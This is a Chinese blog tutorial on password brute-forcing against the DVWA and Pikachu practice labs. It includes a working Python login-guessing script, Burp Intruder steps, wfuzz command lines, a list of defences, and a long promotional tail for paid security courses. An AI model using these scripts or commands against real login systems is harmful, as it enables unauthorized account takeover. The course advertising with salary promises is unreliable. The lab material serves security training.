密码暴力破解与防御

266 篇文章 1 订阅
196 篇文章 1 订阅

前言

密码安全概述

加密、完整性、身份认证

存储安全、传输安全、输入安全

漏洞利用

从数据库获取密码

窃听通信数据

直接从登录框猜测数据

权限管理

认证:你是谁?

授权:你能做什么?

【----帮助技术学习,以下所有学习资料文末免费领!----】

不安全的密码

默认密码

000000

123456

空密码

身份证后六位

手机后六位

弱口令

裤子

已经泄漏的密码

密码猜解思路

猜测范围

密码长度

密码内容

APP密码范围

字典

kali字典存放路径

图片

专门字典

【1】指定格式的字典,比如生日、手机号、QQ号 crunch -h

图片

【2】社工字典

cupp、ccupp

【3】文章内容字典

cewl https://sqlmap.org -w dict.txt

python暴力破解

从字典取其值,生成密码

# -*- coding: utf-8 -*-
# python 3

pwds = open("password.txt")
for pwd in pwds:
    print(pwd)

pwds.close()

HTTP连接到需要爆破的地址

# -*- coding: utf-8 -*-
# python 3

import requests
# 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
    url = "http://localhost/dvwa/vulnerabilities/brute/"
    # PHPSESSID务必替换为登录以后的PHPSESSID
    resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=sm7bdfe4r6c03ai9682timdlu1"})
    #print(resp.text)
    if 'Username and/or password incorrect.' in resp.text:
        print('破解失败:'+pwd, end='')
    else:
        print('破解成功:'+pwd, end='')
        break;
pwds.close()

图片

安装requests

图片

获得HTTP响应,分析响应结果,看看有没有错误提示

如果有提示,就继续下一次循环

如果没有,就继续下一次循环

图片

Burp Suite暴力破解

Low

设置好代理

图片

抓包成功

使用intruder模式

图片

选择模式,选择攻击的字段

图片

导入密码字典

图片

开始攻击

图片

攻击完成,单击排序

图片

查看length最长即为密码

图片

Medium

做了一个延迟,影响很小

High

抓包

图片

设置intruder

图片

图片

图片

图片

图片

图片

图片

图片

图片

图片

图片

图片

Bp其他攻击模式

图片

攻城锤:所有字段都一样

草叉:可以选择两个字段,并分别设置字典

榴霰弹:两个字典可以交叉匹配

Impossible

限制猜解的时间和次数

图片

如何防御暴力破解

【1】 二次验证

【2】限制次数,锁定账户

【3】WAF

【4】IP验证

【5】行为识别,异地登录

【6】强制修改密码

【7】取消密码注册

其他暴力破解工具

wfuzz

图片

piachu

图片

wfuzz -z file,user -z file,pass -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php

图片

wfuzz -z file,user -z file,pass --hw 1797 -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php

图片

Hydra

图片

图片

图片

图片

图片

Mudusa

图片

图片

MSF

图片

最后,别忘了点赞哈~

图片

拿下NISP-SO网络安全证书之后,身为普通的你可以:

跨越90%企业的招聘硬门槛

增加70%就业机会

拿下BAT全国TOP100大厂敲门砖

体系化得到网络技术硬实力

IE大佬年薪可达30w+

如何入门学习网络安全【黑客】

【----帮助网安学习,以下所有学习资料文末免费领取!----】

> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)

大纲

首先要找一份详细的大纲。

img

学习教程

第一阶段:零基础入门系列教程

img

该阶段学完即可年薪15w+

第二阶段:技术入门

弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞

该阶段学完年薪25w+

img

阶段三:高阶提升

反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练

该阶段学完即可年薪30w+

CTF比赛视频+题库+答案汇总

img

实战训练营

img

面试刷题

img

最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。

但是,我觉得很多人拿到了却并不会去学习。

大部分人的问题看似是“如何行动”,其实是“无法开始”。

几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。

如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要

资料领取

上述这份完整版的网络安全学习资料已经上传CSDN官方,朋友们如果需要可以微信扫描下方CSDN官方认证二维码 即可领取↓↓↓

链接领取

或者点击链接也可免费领取【保证100%免费】

点击免费领取: CSDN大礼包:《黑课&网络安全入门&进阶学习资源包》

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值